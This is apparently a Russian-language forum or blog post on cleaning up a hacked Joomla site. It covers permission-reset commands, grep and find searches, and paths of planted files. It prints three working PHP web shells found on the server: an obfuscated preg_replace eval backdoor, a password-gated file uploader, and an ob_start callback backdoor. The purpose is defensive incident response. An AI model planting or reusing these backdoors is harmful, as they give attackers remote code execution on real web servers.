Проверьте уровень разрешений для файлов и папок
(например, 777 разрешает запись любому пользователю). Помните, что
хакеры часто меняют разрешения, оставляя себе лазейку для возврата на
сайт.
- Проверьте все каталоги с разрешением выше 755 (rwxr-xr-x).
Понизьте уровень доступа, если в нем нет крайней необходимости. В
Unix-подобных системах используйте команду:
find <имя-каталога> -type d -not -perm 755 -exec ls -ld {} \;
- Проверьте все файлы с разрешением выше 644 (rw-r--r--). Понизьте уровень доступа, если в нем нет крайней необходимости.
find <имя-каталога> -type f -not -perm 644 -exec ls -la {} \;
Меняем права на папки и файлы, предварительно перейдя в каталог с сайтом
find ./ -type d -print0 | xargs -0 chmod 0755 # for directories find ./ -type f -print0 | xargs -0 chmod 0644 # for files
После взлома остается много файлов с таким содержанием
<?php if($_GET['test']){echo 'success';}else{($www= $_POST['gaw7b'])
&& @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');}
Ключевой фразой котрая как правило не используется в обычных сайтах является
preg_replace('/ad/e'
Поэтому ищем все сайты с таким содержимым и удаляем или чистим их
sudo grep -iRI "preg_replace('/ad/e'" /путь/к/вашему/сайту.com/
также я заметил, что у злоумышленников принято слова в файлах разделять тире,
а в моем сайте на joomla используется подчеркивание.
поэтому ищем все php файлы с тире
sudo find
/путь/к/вашему/сайту.com/
-name *-*.phpПомимо некоторого количество языковых фалов и файлов кеша,
в названии которых используется тире,было найдено немного интересного
/components/com_users/views/registration/conf-e0.php
/plugins/vmpayment/realex_hpp_api/language/en-GB/cache-c7f.php
/administrator/components/com_plugins/views/plugins/tmpl/cgi-c7f.php
/administrator/components/com_installer/views/update/tmpl/utf8-99.php
в файле /plugins/vmpayment/realex_hpp_api/language/en-GB/cache-c7f.php был найден
загрузчик
<?php if(md5($_GET["ms-load"])=="e4ec7518484164c0c70e3147d84be250"){ $p=$_SERVER["DOCUMENT_ROOT"]; $tyuf=dirname(__FILE__); echo <<<HTML <form enctype="multipart/form-data" method="POST"> Path:$p<br> <input name="file" type="file"><br> To:<br> <input size="48" value="$tyuf/" name="pt" type="text"><br> <input type="submit" value="Upload"> $tend HTML; if (isset($_POST["pt"])){ $uploadfile = $_POST["pt"].$_FILES["file"]["name"]; if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];} if (copy($_FILES["file"]["tmp_name"], $uploadfile)){ echo"uploaded:$uploadfilen"; echo"Size:".$_FILES["file"]["size"]."n"; }else { print "Error:n"; } } }
в файле /administrator/components/com_plugins/views/plugins/tmpl/cgi-c7f.php
тоже интересное
<?php $id = $_GET['pppj3']; echo $catid = isset($_GET['catid'])?base64_decode($_GET['catid']):''; $s = ''; foreach(array($id) as $v){ $s.=$v; } ob_start($s); if($catid){ echo $catid; } ob_end_flush();
Остальных двух файлах была вышеприведенная строка с
preg_replace('/ad/e'